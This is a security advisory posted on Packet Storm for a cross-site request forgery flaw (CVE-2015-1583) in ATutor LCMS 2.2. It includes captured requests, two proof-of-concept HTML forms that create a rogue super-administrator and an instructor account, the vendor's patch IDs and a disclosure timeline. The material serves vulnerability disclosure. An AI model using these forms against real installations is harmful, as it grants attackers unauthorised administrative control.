what you don't know can hurt you

ATutor LCMS 2.2 Cross Site Request Forgery

ATutor LCMS 2.2 Cross Site Request Forgery
Posted Mar 2, 2015
Authored by Edric Teo

ATutor LCMS version 2.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2015-1583
MD5 | b7dcd204efcb7e53beccd029495c0551

ATutor LCMS 2.2 Cross Site Request Forgery

Change Mirror Download
[CVE-2015-1583] ATutor LCMS - CSRF Vulnerability in Version 2.2

----------------------------------------------------------------

Product Information:

Software: ATutor LCMS
Tested Version: 2.2, released 25.8.2014
Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)
Download link: http://atutor.ca/atutor/download.php
Description: ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind. (copied from http://www.atutor.ca/credits.php#whatatutor)

----------------------------------------------------------------

Issues:

1) CSRF in administrator creation page
2) CSRF in user creation page

----------------------------------------------------------------

Vulnerability description:

1) CSRF in administrator creation page

When an authenticated administrative user of ATutor LCMS is creating another administrator account, the following POST request is sent to the server:

POST /atutor-2.2/ATutor/mods/_core/users/admins/create.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 187
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/admins/create.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ATutorID=pr6jq1tlfr204nm60p5rtbj0u4; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _gat=1; _ga=GA1.1.621011711.1425057132

form_password_hidden=ef0f8b6ffb699f90933a3321b00ff6769e018b94&password_error=&login=csrfadmin9&password=&confirm_password=&real_name=&email=csrfadmin9@admin.com&priv_admin=1&submit=Save

By executing the following Proof-of-Concept, a new administrative user called "csrfadmin99" will be created with the password "1qazXSW@".

<html>
<body>
<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/admins/create.php" method="POST">
<input type="hidden" name="form_password_hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" />
<input type="hidden" name="login" value="csrfadmin99" />
<input type="hidden" name="real_name" value="csrfadmin99" />
<input type="hidden" name="email" value="csrfadmin99@admin.com" />
<input type="hidden" name="priv_admin" value="1" />
<input type="hidden" name="submit" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

2) CSRF in user creation page

When an authenticated administrative user of ATutor LCMS is creating an user, the following POST request is sent to the server:

POST /atutor-2.2/ATutor/mods/_core/users/create_user.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 429
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ATutorID=0h3qqin6ndjmpt21m7f17i07l7; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _gat=1; _ga=GA1.1.621011711.1425057132

ml=&password_error=&form_password_hidden=ef0f8b6ffb699f90933a3321b00ff6769e018b94&registration_token=19569b3551f19d60ddfbe4973d1733079f775568&login=csrfuser9&form_password1=&form_password2=&email=csrfuser9@user.com&private_email=1&email2=csrfuser9@user.com&first_name=csrfuser9&second_name=&last_name=csrfuser9&id=&status=3&old_status=&year=&month=&day=&address=&postal=&city=&province=&country=&phone=&website=&submit=+Save+

By executing the following Proof-of-Concept, a new instructor user called "csrfuser99" will be created with the password "1qazXSW@".

<html>
<body>
<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php" method="POST">
<input type="hidden" name="form_password_hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" />
<input type="hidden" name="login" value="csrfuser99" />
<input type="hidden" name="email" value="csrfuser99@user.com" />
<input type="hidden" name="private_email" value="1" />
<input type="hidden" name="email2" value="csrfuser99@user.com" />
<input type="hidden" name="first_name" value="csrfuser99" />
<input type="hidden" name="last_name" value="csrfuser99" />
<input type="hidden" name="status" value="3" />
<input type="hidden" name="submit" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

----------------------------------------------------------------

Impact:

1) An attacker is able to create an administrator account with super administrator privilege.
2) An attacker is able to create an user account with instructor privilege.

----------------------------------------------------------------

Solution:

Update using the in-built patcher, Patch ID 0009 and 0011.

----------------------------------------------------------------

Timeline:

Vulnerability found: 10.2.2015 & 28.2.2015
Vendor informed: 10.2.2015 & 28.2.2015
Response by vendor: 11.2.2015 & 28.2.2015
Fix by vendor 23.2.2015 & 28.2.2015
Public Advisory: 1.3.2015

----------------------------------------------------------------

Best regards,
Edric Teo
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    5 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close